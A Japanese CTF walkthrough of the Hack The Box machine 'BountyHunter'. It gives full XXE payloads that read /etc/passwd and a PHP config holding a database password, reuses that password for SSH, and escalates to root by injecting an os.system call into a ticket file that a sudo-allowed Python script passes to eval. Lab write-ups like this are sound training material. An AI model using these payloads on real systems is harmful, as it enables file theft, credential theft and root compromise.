Hack The BoxのWriteup(BountyHunter)[Easy]

※本サイトはアフィリエイト広告を利用しています。
広告

本記事の概要

Hack The BoxのLinuxサーバの難易度Easyのマシンである「BountyHunter」に対する攻撃手法を記載します。

本記事では、以下の手順を記載します。
  (1) ポートスキャン及びアクセス
  (2) Webアクセスできるファイル/ディレクトリ調査
  (3) Webサイトの動作確認
  (4) XXEの脆弱性を悪用した/etc/passwdファイル取得(HackTricksの内容)
  (5) XXEの脆弱性を悪用したdb.phpファイル取得(HackTricksの内容)
  (6) 特権昇格のための調査(SUIDなど)
  (7) 特権昇格(sudo設定の脆弱性)
  (8) 【参考】XXEの脆弱性を悪用したファイル取得(GithubのPayloadsAllTheThingsの内容)

※画面や記載している手順は記事を作成した時点のものですので、画面などが変わっている可能性があります。


ポートスキャン及びアクセス


(1) nmapコマンドを実行して、応答があるポート番号を確認する。SSH(22/tcp) やHTTP(80/tcp)のポートが応答がある。

$ nmap -sS -sC -sV -A -p- -Pn --min-rate 5000 10.10.11.100
Starting Nmap 7.95 ( https://nmap.org ) at 2025-09-01 23:01 JST
Nmap scan report for 10.10.11.100
Host is up (0.38s latency).
Not shown: 65533 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   3072 d4:4c:f5:79:9a:79:a3:b0:f1:66:25:52:c9:53:1f:e1 (RSA)
|   256 a2:1e:67:61:8d:2f:7a:37:a7:ba:3b:51:08:e8:89:a6 (ECDSA)
|_  256 a5:75:16:d9:69:58:50:4a:14:11:7a:42:c1:b6:23:44 (ED25519)
80/tcp open  http    Apache httpd 2.4.41 ((Ubuntu))
|_http-title: Bounty Hunters
|_http-server-header: Apache/2.4.41 (Ubuntu)
Device type: general purpose
Running: Linux 4.X|5.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
OS details: Linux 4.15 - 5.19
Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE (using port 587/tcp)
HOP RTT       ADDRESS
1   575.73 ms 10.10.16.1
2   575.80 ms 10.10.11.100

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 41.66 seconds


(2) ブラウザを用いて「http://10.10.11.100/」にアクセスすると、Webサイトが表示される。


Webアクセスできるファイル/ディレクトリ調査


(1) feroxbusterを用いてアクセスできるURLを確認するが、特に気になる結果はない。

$ feroxbuster -u http://10.10.11.100/ -d 2 -C 400,403,404,405,500
ーーー(省略)ーーー
200      GET       64l      232w     2682c http://10.10.11.100/resources/lato.css
200      GET      195l      683w    66699c http://10.10.11.100/assets/img/portfolio/cabin.png
200      GET      151l      616w    50204c http://10.10.11.100/assets/img/portfolio/circus.png
200      GET        1l       44w     2532c http://10.10.11.100/resources/jquery.easing.min.js
200      GET       80l      248w     3228c http://10.10.11.100/resources/monsterat.css
200      GET       24l       44w      594c http://10.10.11.100/resources/bountylog.js
200      GET        6l       34w      210c http://10.10.11.100/resources/README.txt
200      GET    10240l    19373w   187375c http://10.10.11.100/css/styles.css
200      GET        7l     1031w    84152c http://10.10.11.100/resources/bootstrap.bundle.min.js
200      GET        4l     1298w    86659c http://10.10.11.100/resources/jquery_login.min.js
200      GET        2l     1297w    89476c http://10.10.11.100/resources/jquery.min.js
301      GET        9l       28w      313c http://10.10.11.100/assets => http://10.10.11.100/assets/
301      GET        9l       28w      317c http://10.10.11.100/assets/img => http://10.10.11.100/assets/img/
200      GET        5l   108280w  1194961c http://10.10.11.100/resources/all.js
301      GET        9l       28w      316c http://10.10.11.100/resources => http://10.10.11.100/resources/
301      GET        9l       28w      309c http://10.10.11.100/js => http://10.10.11.100/js/
301      GET        9l       28w      310c http://10.10.11.100/css => http://10.10.11.100/css/
200      GET        5l       15w      125c http://10.10.11.100/portal.php
200      GET      248l      761w    12807c http://10.10.11.100/assets/img/avataaars.svg
200      GET       69l      210w     2424c http://10.10.11.100/js/scripts.js
200      GET      122l      415w    30702c http://10.10.11.100/assets/img/portfolio/cake.png
200      GET      178l      601w    46744c http://10.10.11.100/assets/img/portfolio/game.png
200      GET      139l      444w    35267c http://10.10.11.100/assets/img/portfolio/safe.png
200      GET        8l       29w    28898c http://10.10.11.100/assets/img/favicon.ico
200      GET      150l      506w    43607c http://10.10.11.100/assets/img/portfolio/submarine.png
200      GET        7l      567w    48945c http://10.10.11.100/resources/bootstrap_login.min.js
200      GET      388l     1470w    25169c http://10.10.11.100/
ーーー(省略)ーーー




(2) GoBusterを用いてアクセスできるURLを確認するが、特に気になる結果はない。

$ gobuster dir -u http://10.10.11.100/ -w /usr/share/seclists/Discovery/Web-Content/big.txt -t 100 -o BountyHunter_80.txt
ーーー(省略)ーーー
/.htaccess            (Status: 403) [Size: 277]
/.htpasswd            (Status: 403) [Size: 277]
/assets               (Status: 301) [Size: 313] [--> http://10.10.11.100/assets/]
/css                  (Status: 301) [Size: 310] [--> http://10.10.11.100/css/]
/js                   (Status: 301) [Size: 309] [--> http://10.10.11.100/js/]
/resources            (Status: 301) [Size: 316] [--> http://10.10.11.100/resources/]
/server-status        (Status: 403) [Size: 277]
ーーー(省略)ーーー




(3) dirsearchを用いてアクセスできるURLを確認するが、特に気になるURLはない。

$ sudo dirsearch -u http://10.10.11.100/
ーーー(省略)ーーー
[23:56:11] Starting:
[23:56:16] 301 -  309B  - /js  ->  http://10.10.11.100/js/
[23:56:22] 403 -  277B  - /.ht_wsr.txt
[23:56:22] 403 -  277B  - /.htaccess.bak1
[23:56:22] 403 -  277B  - /.htaccess.sample
[23:56:22] 403 -  277B  - /.htaccess.orig
[23:56:22] 403 -  277B  - /.htaccess_orig
[23:56:22] 403 -  277B  - /.htaccessOLD
[23:56:22] 403 -  277B  - /.htaccess_sc
[23:56:22] 403 -  277B  - /.htaccess.save
[23:56:23] 403 -  277B  - /.htaccessBAK
[23:56:23] 403 -  277B  - /.htaccess_extra
[23:56:23] 403 -  277B  - /.htaccessOLD2
[23:56:23] 403 -  277B  - /.html
[23:56:23] 403 -  277B  - /.htpasswd_test
[23:56:23] 403 -  277B  - /.htm
[23:56:23] 403 -  277B  - /.htpasswds
[23:56:23] 403 -  277B  - /.httr-oauth
[23:56:26] 403 -  277B  - /.php
[23:56:56] 301 -  313B  - /assets  ->  http://10.10.11.100/assets/
[23:56:56] 403 -  277B  - /assets/
[23:57:07] 301 -  310B  - /css  ->  http://10.10.11.100/css/
[23:57:08] 200 -    0B  - /db.php
[23:57:24] 403 -  277B  - /js/
[23:57:45] 301 -  316B  - /resources  ->  http://10.10.11.100/resources/
[23:57:45] 200 -  676B  - /resources/
[23:57:47] 403 -  277B  - /server-status/
[23:57:47] 403 -  277B  - /server-status

Task Completed




(4) ffufを用いてアクセスできるURLを確認するが、特に気になる内容はない。

$ ffuf -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt:FUZZ -u "http://10.10.11.100/FUZZ" -ic
ーーー(省略)ーーー
                        [Status: 200, Size: 25169, Words: 10028, Lines: 389, Duration: 219ms]
resources               [Status: 301, Size: 316, Words: 20, Lines: 10, Duration: 238ms]
assets                  [Status: 301, Size: 313, Words: 20, Lines: 10, Duration: 214ms]
css                     [Status: 301, Size: 310, Words: 20, Lines: 10, Duration: 200ms]
js                      [Status: 301, Size: 309, Words: 20, Lines: 10, Duration: 262ms]
                        [Status: 200, Size: 25169, Words: 10028, Lines: 389, Duration: 216ms]
server-status           [Status: 403, Size: 277, Words: 20, Lines: 10, Duration: 216ms]
ーーー(省略)ーーー



Webサイトの動作確認


(1) ブラウザを用いて「http://10.10.11.100/」にアクセスして、右上部の「PORTAL」をクリックする。


(2) 開発中である旨が記載されており、「here」をクリックする。


(3) 脆弱性情報を送信するWebページが表示される。


(4) 任意の内容を入力して、「Submit」をクリックする。


(5) 下部に入力した情報が表で表示されていることが分かる。


(6) Burp Suiteでリスクエストデータとレスポンスデータを確認すると、以下の2つことが分かる。

  • POSTメソッドのdataパラメータでデータを送信していること。
  • 入力したデータが<table>タグのXML形式で表示されるため、XXE(XML External Entity)攻撃ができる可能性があること

【リクエストデータ】
POST /tracker_diRbPr00f314.php HTTP/1.1
Host: 10.10.11.100
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 221
Origin: http://10.10.11.100
Connection: keep-alive
Referer: http://10.10.11.100/log_submit.php
Priority: u=0

data=PD94bWwgIHZlcnNpb249IjEuMCIgZW5jb2Rpbmc9IklTTy04ODU5LTEiPz4KCQk8YnVncmVwb3J0PgoJCTx0aXRsZT50aXRsZTwvdGl0bGU%2BCgkJPGN3ZT5DV0U8L2N3ZT4KCQk8Y3Zzcz45LjA8L2N2c3M%2BCgkJPHJld2FyZD4xMDwvcmV3YXJkPgoJCTwvYnVncmVwb3J0Pg%3D%3D


【レスポンスデータ】
HTTP/1.1 200 OK
Date: Mon, 01 Sep 2025 14:59:09 GMT
Server: Apache/2.4.41 (Ubuntu)
Vary: Accept-Encoding
Content-Length: 261
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: text/html; charset=UTF-8

If DB were ready, would have added:
<table>
  <tr>
    <td>Title:</td>
    <td>title</td>
  </tr>
  <tr>
    <td>CWE:</td>
    <td>CWE</td>
  </tr>
  <tr>
    <td>Score:</td>
    <td>9.0</td>
  </tr>
  <tr>
    <td>Reward:</td>
    <td>10</td>
  </tr>
</table>




XXEの脆弱性を悪用した/etc/passwdファイル取得(HackTricksの内容)


(1) ChatGPT(https://chatgpt.com/?locale=ja-JP)にリクエストデータのdataパラメータの内容を入力する。


(2) ChatGPTからの応答内容を確認すると、Base64でエンコードされたXMLデータであることが分かる。


(3) CyberChef(https://gchq.github.io/CyberChef/)を用いて、リクエストデータのdataパラメータの内容を「URL Decode」した後に「From Base64」する。

【変換前のデータ】
PD94bWwgIHZlcnNpb249IjEuMCIgZW5jb2Rpbmc9IklTTy04ODU5LTEiPz4KCQk8YnVncmVwb3J0PgoJCTx0aXRsZT50aXRsZTwvdGl0bGU%2BCgkJPGN3ZT5DV0U8L2N3ZT4KCQk8Y3Zzcz45LjA8L2N2c3M%2BCgkJPHJld2FyZD4xMDwvcmV3YXJkPgoJCTwvYnVncmVwb3J0Pg%3D%3D


【変換後のデータ】
<?xml  version="1.0" encoding="ISO-8859-1"?>
		<bugreport>
		<title>title</title>
		<cwe>CWE</cwe>
		<cvss>9.0</cvss>
		<reward>10</reward>
		</bugreport>




(4) HackTricksのXXE(https://book.hacktricks.wiki/en/pentesting-web/xxe-xee-xml-external-entity.html)を確認すると、ファイル読み込みする際のXML形式のデータが記載されている。

<!--?xml version="1.0" ?-->
<!DOCTYPE foo [<!ENTITY example SYSTEM "/etc/passwd"> ]>
<data>&example;</data>




(5) CyberChef(https://gchq.github.io/CyberChef/)を用いて、/etc/passwdファイルを読み込みするXML形式のデータをBase64でエンコードする。

【変換前のデータ】
<?xml  version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE dtd_sample[<!ENTITY file SYSTEM "/etc/passwd">]>
		<bugreport>
		<title>title</title>
		<cwe>CWE</cwe>
		<cvss>9.0</cvss>
		<reward>&file;</reward>
		</bugreport>


【変換後のデータ】
PD94bWwgIHZlcnNpb249IjEuMCIgZW5jb2Rpbmc9IklTTy04ODU5LTEiPz4NCjwhRE9DVFlQRSBkdGRfc2FtcGxlWzwhRU5USVRZIGZpbGUgU1lTVEVNICIvZXRjL3Bhc3N3ZCI%2BXT4NCgkJPGJ1Z3JlcG9ydD4NCgkJPHRpdGxlPnRpdGxlPC90aXRsZT4NCgkJPGN3ZT5DV0U8L2N3ZT4NCgkJPGN2c3M%2BOS4wPC9jdnNzPg0KCQk8cmV3YXJkPiZmaWxlOzwvcmV3YXJkPg0KCQk8L2J1Z3JlcG9ydD4NCg%3D%3D




(6) Burp Suiteの [Proxy] > [HTTP history] 画面のRequest欄を右クリックで選択し、「Send to Repeater」をクリックする。


(7) 「Repeater」タブをクリックする。その後、リクエストデータのdataパラメータを上記(5)で生成した値に変更して、「Send」をクリックする。developmentユーザーにログインシェルが設定されていることが分かる。

【リクエストデータ(変更後)】
POST /tracker_diRbPr00f314.php HTTP/1.1
Host: 10.10.11.100
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 317
Origin: http://10.10.11.100
Connection: keep-alive
Referer: http://10.10.11.100/log_submit.php
Priority: u=0

data=PD94bWwgIHZlcnNpb249IjEuMCIgZW5jb2Rpbmc9IklTTy04ODU5LTEiPz4NCjwhRE9DVFlQRSBkdGRfc2FtcGxlWzwhRU5USVRZIGZpbGUgU1lTVEVNICIvZXRjL3Bhc3N3ZCI%2BXT4NCgkJPGJ1Z3JlcG9ydD4NCgkJPHRpdGxlPnRpdGxlPC90aXRsZT4NCgkJPGN3ZT5DV0U8L2N3ZT4NCgkJPGN2c3M%2BOS4wPC9jdnNzPg0KCQk8cmV3YXJkPiZmaWxlOzwvcmV3YXJkPg0KCQk8L2J1Z3JlcG9ydD4NCg%3D%3D


【レスポンスデータ】
HTTP/1.1 200 OK
Date: Tue, 02 Sep 2025 10:58:57 GMT
Server: Apache/2.4.41 (Ubuntu)
Vary: Accept-Encoding
Content-Length: 2101
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: text/html; charset=UTF-8

If DB were ready, would have added:
<table>
  <tr>
    <td>Title:</td>
    <td>title</td>
  </tr>
  <tr>
    <td>CWE:</td>
    <td>CWE</td>
  </tr>
  <tr>
    <td>Score:</td>
    <td>9.0</td>
  </tr>
  <tr>
    <td>Reward:</td>
    <td>root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:100:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
systemd-timesync:x:102:104:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:103:106::/nonexistent:/usr/sbin/nologin
syslog:x:104:110::/home/syslog:/usr/sbin/nologin
_apt:x:105:65534::/nonexistent:/usr/sbin/nologin
tss:x:106:111:TPM software stack,,,:/var/lib/tpm:/bin/false
uuidd:x:107:112::/run/uuidd:/usr/sbin/nologin
tcpdump:x:108:113::/nonexistent:/usr/sbin/nologin
landscape:x:109:115::/var/lib/landscape:/usr/sbin/nologin
pollinate:x:110:1::/var/cache/pollinate:/bin/false
sshd:x:111:65534::/run/sshd:/usr/sbin/nologin
systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin
development:x:1000:1000:Development:/home/development:/bin/bash
lxd:x:998:100::/var/snap/lxd/common/lxd:/bin/false
usbmux:x:112:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin
</td>
  </tr>
</table>




XXEの脆弱性を悪用したdb.phpファイル取得(HackTricksの内容)


(1) HackTricksのXXE(https://book.hacktricks.wiki/en/pentesting-web/xxe-xee-xml-external-entity.html)を確認すると、base64でエンコードされたファイルを読み込みする際のXML形式のデータが記載されている。

<!--?xml version="1.0" ?-->
<!DOCTYPE replace [<!ENTITY example SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd"> ]>
<data>&example;</data>




(2) CyberChef(https://gchq.github.io/CyberChef/)を用いて、db.phpファイルを読み込みするXML形式のデータをBase64でエンコードする。

【変換前のデータ】
<?xml  version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE dtd_sample[<!ENTITY file SYSTEM "php://filter/convert.base64-encode/resource=db.php"> ]>
		<bugreport>
		<title>title</title>
		<cwe>CWE</cwe>
		<cvss>9.0</cvss>
		<reward>&file;</reward>
		</bugreport>


【変換後のデータ】
PD94bWwgIHZlcnNpb249IjEuMCIgZW5jb2Rpbmc9IklTTy04ODU5LTEiPz4NCjwhRE9DVFlQRSBkdGRfc2FtcGxlWzwhRU5USVRZIGZpbGUgU1lTVEVNICJwaHA6Ly9maWx0ZXIvY29udmVydC5iYXNlNjQtZW5jb2RlL3Jlc291cmNlPWRiLnBocCI%2BIF0%2BDQoJCTxidWdyZXBvcnQ%2BDQoJCTx0aXRsZT50aXRsZTwvdGl0bGU%2BDQoJCTxjd2U%2BQ1dFPC9jd2U%2BDQoJCTxjdnNzPjkuMDwvY3Zzcz4NCgkJPHJld2FyZD4mZmlsZTs8L3Jld2FyZD4NCgkJPC9idWdyZXBvcnQ%2BDQoNCg%3D%3D





(3) リクエストデータのdataパラメータを上記(5)で生成した値に変更して、「Send」をクリックする。その後、レスポンスデータを確認すると、PD9waHAKLy8gVE9ETyAtPiBJbXBsZW1lbnQgbG9naW4gc3lzdGVtIHdpdGggdGhlIGRhdGFiYXNlLgokZGJzZXJ2ZXIgPSAibG9jYWxob3N0IjsKJGRibmFtZSA9ICJib3VudHkiOwokZGJ1c2VybmFtZSA9ICJhZG1pbiI7CiRkYnBhc3N3b3JkID0gIm0xOVJvQVUwaFA0MUExc1RzcTZLIjsKJHRlc3R1c2VyID0gInRlc3QiOwo/Pgo=」がdb.phpの内容をBase64エンコードした結果であることが分かる。

【リクエストデータ(変更後)】
POST /tracker_diRbPr00f314.php HTTP/1.1
Host: 10.10.11.100
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 383
Origin: http://10.10.11.100
Connection: keep-alive
Referer: http://10.10.11.100/log_submit.php
Priority: u=0

data=PD94bWwgIHZlcnNpb249IjEuMCIgZW5jb2Rpbmc9IklTTy04ODU5LTEiPz4NCjwhRE9DVFlQRSBkdGRfc2FtcGxlWzwhRU5USVRZIGZpbGUgU1lTVEVNICJwaHA6Ly9maWx0ZXIvY29udmVydC5iYXNlNjQtZW5jb2RlL3Jlc291cmNlPWRiLnBocCI%2BIF0%2BDQoJCTxidWdyZXBvcnQ%2BDQoJCTx0aXRsZT50aXRsZTwvdGl0bGU%2BDQoJCTxjd2U%2BQ1dFPC9jd2U%2BDQoJCTxjdnNzPjkuMDwvY3Zzcz4NCgkJPHJld2FyZD4mZmlsZTs8L3Jld2FyZD4NCgkJPC9idWdyZXBvcnQ%2BDQoNCg%3D%3D

【レスポンスデータ】
HTTP/1.1 200 OK
Date: Tue, 02 Sep 2025 10:46:25 GMT
Server: Apache/2.4.41 (Ubuntu)
Vary: Accept-Encoding
Content-Length: 511
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: text/html; charset=UTF-8

If DB were ready, would have added:
<table>
  <tr>
    <td>Title:</td>
    <td>title</td>
  </tr>
  <tr>
    <td>CWE:</td>
    <td>CWE</td>
  </tr>
  <tr>
    <td>Score:</td>
    <td>9.0</td>
  </tr>
  <tr>
    <td>Reward:</td>
    <td>PD9waHAKLy8gVE9ETyAtPiBJbXBsZW1lbnQgbG9naW4gc3lzdGVtIHdpdGggdGhlIGRhdGFiYXNlLgokZGJzZXJ2ZXIgPSAibG9jYWxob3N0IjsKJGRibmFtZSA9ICJib3VudHkiOwokZGJ1c2VybmFtZSA9ICJhZG1pbiI7CiRkYnBhc3N3b3JkID0gIm0xOVJvQVUwaFA0MUExc1RzcTZLIjsKJHRlc3R1c2VyID0gInRlc3QiOwo/Pgo=</td>
  </tr>
</table>




(4) Base64でデコードしてdb.phpの内容を確認すると、データベースの認証情報が記載されていることが分かる。

$ echo "PD9waHAKLy8gVE9ETyAtPiBJbXBsZW1lbnQgbG9naW4gc3lzdGVtIHdpdGggdGhlIGRhdGFiYXNlLgokZGJzZXJ2ZXIgPSAibG9jYWxob3N0IjsKJGRibmFtZSA9ICJib3VudHkiOwokZGJ1c2VybmFtZSA9ICJhZG1pbiI7CiRkYnBhc3N3b3JkID0gIm0xOVJvQVUwaFA0MUExc1RzcTZLIjsKJHRlc3R1c2VyID0gInRlc3QiOwo/Pgo=" | base64 -d > db.php


$ cat db.php

【出力結果(db.phpの内容)】
<?php
// TODO -> Implement login system with the database.
$dbserver = "localhost";
$dbname = "bounty";
$dbusername = "admin";
$dbpassword = "m19RoAU0hP41A1sTsq6K";
$testuser = "test";
?>


(5) データベースのパスワードが使い回されている可能性があるため、SSHを用いてdevelopmentユーザー攻撃対象のマシン(BountyHunter)にログインする。

$ ssh development@10.10.11.100
  →パスワード(m19RoAU0hP41A1sTsq6K)を入力する。


(6) 現在ログインしているユーザー情報を確認すると、developmentユーザーであることが分かる。

$ id
uid=1000(development) gid=1000(development) groups=1000(development)


$ whoami
development


(7) 一般ユーザー用のフラグファイルの内容を確認する。

$ cat /home/development/user.txt
aef4144af49fe0d9af09ce1c03342f06


特権昇格のための調査(SUIDなど)


(1) sudoコマンドの設定を確認すると、パスワードなしでroot権限で「/usr/bin/python3.8 /opt/skytrain_inc/ticketValidator.py」コマンドを実行できることが分かる。

※developmentユーザーでログインした攻撃対象のマシン(BountyHunter)上で以下のコマンドを実行する。

$ sudo -l
Matching Defaults entries for development on bountyhunter:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User development may run the following commands on bountyhunter:
    (root) NOPASSWD: /usr/bin/python3.8 /opt/skytrain_inc/ticketValidator.py


(2) SUIDファイルを検索する。

※developmentユーザーでログインした攻撃対象のマシン(BountyHunter)上で以下のコマンドを実行する。

$ find / -perm -u=s -type f 2> /dev/null
/usr/lib/eject/dmcrypt-get-device
/usr/lib/policykit-1/polkit-agent-helper-1
/usr/lib/openssh/ssh-keysign
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/bin/umount
/usr/bin/sudo
/usr/bin/gpasswd
/usr/bin/at
/usr/bin/fusermount
/usr/bin/newgrp
/usr/bin/chsh
/usr/bin/bcred
/usr/bin/su
/usr/bin/chfn
/usr/bin/pkexec
/usr/bin/mount
/usr/bin/passwd


(3) .bash_historyファイルを確認すると、何も出力されない。

※developmentユーザーでログインした攻撃対象のマシン(BountyHunter)上で以下のコマンドを実行する。

$ cat /home/development/.bash_history


(4) 攻撃対象のマシン上でポートスキャンを実行して、応答がポート番号を確認する。

※developmentユーザーでログインした攻撃対象のマシン(BountyHunter)上で以下のコマンドを実行する。

$ for port in {1..65535}; do echo > /dev/tcp/127.0.0.1/$port && echo "$port open"; done  2>/dev/null
22 open
80 open


(5) OSの情報を確認すると、「Ubuntu 20.04.2 LTS」であることが分かる。

※developmentユーザーでログインした攻撃対象のマシン(BountyHunter)上で以下のコマンドを実行する。

$ uname -a
Linux bountyhunter 5.4.0-80-generic #90-Ubuntu SMP Fri Jul 9 22:49:44 UTC 2021 x86_64 x86_64 x86_64 GNU/Linux


$ lsb_release -a
No LSB modules are available.
Distributor ID: Ubuntu
Description:    Ubuntu 20.04.2 LTS
Release:        20.04
Codename:       focal


特権昇格(sudo設定の脆弱性)


(1) /opt/skytrain_inc/ticketValidator.pyの内容を確認すると、任意のチケットファイル(.mdファイル)を読み込んでevaluate()関数で評価するプログラムであることが分かる。
evaluate()の内容を確認すると、「eval(x.replace(“**”, “”))」というプログラムがあるためeval関数を実行する際に任意のコマンド実行ができない確認する。

※developmentユーザーでログインした攻撃対象のマシン(BountyHunter)上で以下のコマンドを実行する。

$ cat /opt/skytrain_inc/ticketValidator.py
#Skytrain Inc Ticket Validation System 0.1
#Do not distribute this file.

def load_file(loc):
    if loc.endswith(".md"):
        return open(loc, 'r')
    else:
        print("Wrong file type.")
        exit()

def evaluate(ticketFile):
    #Evaluates a ticket to check for ireggularities.
    code_line = None
    for i,x in enumerate(ticketFile.readlines()):
        if i == 0:
            if not x.startswith("# Skytrain Inc"):
                return False
            continue
        if i == 1:
            if not x.startswith("## Ticket to "):
                return False
            print(f"Destination: {' '.join(x.strip().split(' ')[3:])}")
            continue

        if x.startswith("__Ticket Code:__"):
            code_line = i+1
            continue

        if code_line and i == code_line:
            if not x.startswith("**"):
                return False
            ticketCode = x.replace("**", "").split("+")[0]
            if int(ticketCode) % 7 == 4:
                validationNumber = eval(x.replace("**", ""))
                if validationNumber > 100:
                    return True
                else:
                    return False
    return False

def main():
    fileName = input("Please enter the path to the ticket file.\n")
    ticket = load_file(fileName)
    #DEBUG print(ticket)
    result = evaluate(ticket)
    if (result):
        print("Valid ticket.")
    else:
        print("Invalid ticket.")
    ticket.close

main()


(2) ticketValidator.pyファイルのevaluate()関数の内容を確認すると、チケットファイルを作成する際に以下のポイントを意識して作成する必要があることが分かる。

・ポイント1:1行目は「# Skytrain Inc」であること。
    【/opt/skytrain_inc/ticketValidator.pyの内容(一部抜粋)】
        if not x.startswith("# Skytrain Inc"):
            return False
        continue


・ポイント2:2行目は「## Ticket to 」という文字列で始まっており、スペース区切りで4個以上の項目があること
    【/opt/skytrain_inc/ticketValidator.pyの内容(一部抜粋)】
        if not x.startswith("## Ticket to "):
            return False
        print(f"Destination: {' '.join(x.strip().split(' ')[3:])}")
        continue


・ポイント3:3行目は「__Ticket Code:__」という文字列で始まっていること。
    【/opt/skytrain_inc/ticketValidator.pyの内容(一部抜粋)】
        if x.startswith("__Ticket Code:__"):
            code_line = i+1
            continue


・ポイント4:4行目は「**」という文字列で始まっており、100以上で7で割った余りが4である数字であること。また、Pyrhonの「__import__('os').system('xxxx')」で実行するコマンドを記載する。
    【/opt/skytrain_inc/ticketValidator.pyの内容(一部抜粋)】
        if code_line and i == code_line:
            if not x.startswith("**"):
                return False
            ticketCode = x.replace("**", "").split("+")[0]
            if int(ticketCode) % 7 == 4:
                validationNumber = eval(x.replace("**", ""))
                if validationNumber > 100:
                    return True
                else:
                    return False


(3) 「chmod u+s /bin/bash」コマンドを実行するようにチケットファイルを作成する。

※developmentユーザーでログインした攻撃対象のマシン(BountyHunter)上で以下のコマンドを実行する。

$ vi /tmp/ticket.md

【/tmp/ticket.mdの内容】
# Skytrain Inc
## Ticket to 1
__Ticket Code:__
**179+ 25 == 204 and __import__('os').system('chmod u+s /bin/bash') == True


(4) rootユーザー権限でticketValidator.pyを実行し、/bin/bashにSUIDを付与されたことを確認する。

※developmentユーザーでログインした攻撃対象のマシン(BountyHunter)上で以下のコマンドを実行する。

$ ls -l /bin/bash
-rwxr-xr-x 1 root root 1183448 Jun 18  2020 /bin/bash


$ sudo /usr/bin/python3.8 /opt/skytrain_inc/ticketValidator.py
Please enter the path to the ticket file.
  →「/tmp/ticket.md」を入力して[Enter]
Destination: 1
Invalid ticket.


$ ls -l /bin/bash
-rwsr-xr-x 1 root root 1183448 Jun 18  2020 /bin/bash


(5) 「/bin/bash -p」を実行し特権昇格する。

※developmentユーザーでログインした攻撃対象のマシン(BountyHunter)上で以下のコマンドを実行する。

$ /bin/bash -p
  →root権限のプロンプト(bash-5.0#)が表示される。


(6) 現在ログインしているユーザー情報を確認すると、rootユーザーであることが分かる。

※rootユーザーでログインした攻撃対象のマシン(BountyHunter)上で以下のコマンドを実行する。

# id
uid=1000(development) gid=1000(development) euid=0(root) groups=1000(development)


# whoami
root


(7) 特権ユーザー用のフラグファイルの内容を確認する。

※rootユーザーでログインした攻撃対象のマシン(BountyHunter)上で以下のコマンドを実行する。


# cat /root/root.txt
64f2b35adbd3a2a55dd8adcd01aa279e


【参考】XXEの脆弱性を悪用したファイル取得(GithubのPayloadsAllTheThingsの内容)


HackTricksに記載されたXXEのペイロードを使用して攻撃を実施したが、GithubのPayloadsAllTheThings(https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XXE%20Injection)にもXXEのペイロードが記載されている。

【XXEの脆弱性を悪用したファイル取得(平文)】

【https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XXE%20Injection#classic-xxe の内容】
<?xml version="1.0"?><!DOCTYPE root [<!ENTITY test SYSTEM 'file:///etc/passwd'>]><root>&test;</root>




【XXEの脆弱性を悪用したファイル取得(出力結果をBase64でエンコード)】

【https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XXE%20Injection#php-wrapper-inside-xxe の内容】
<!DOCTYPE replace [<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=index.php"> ]>
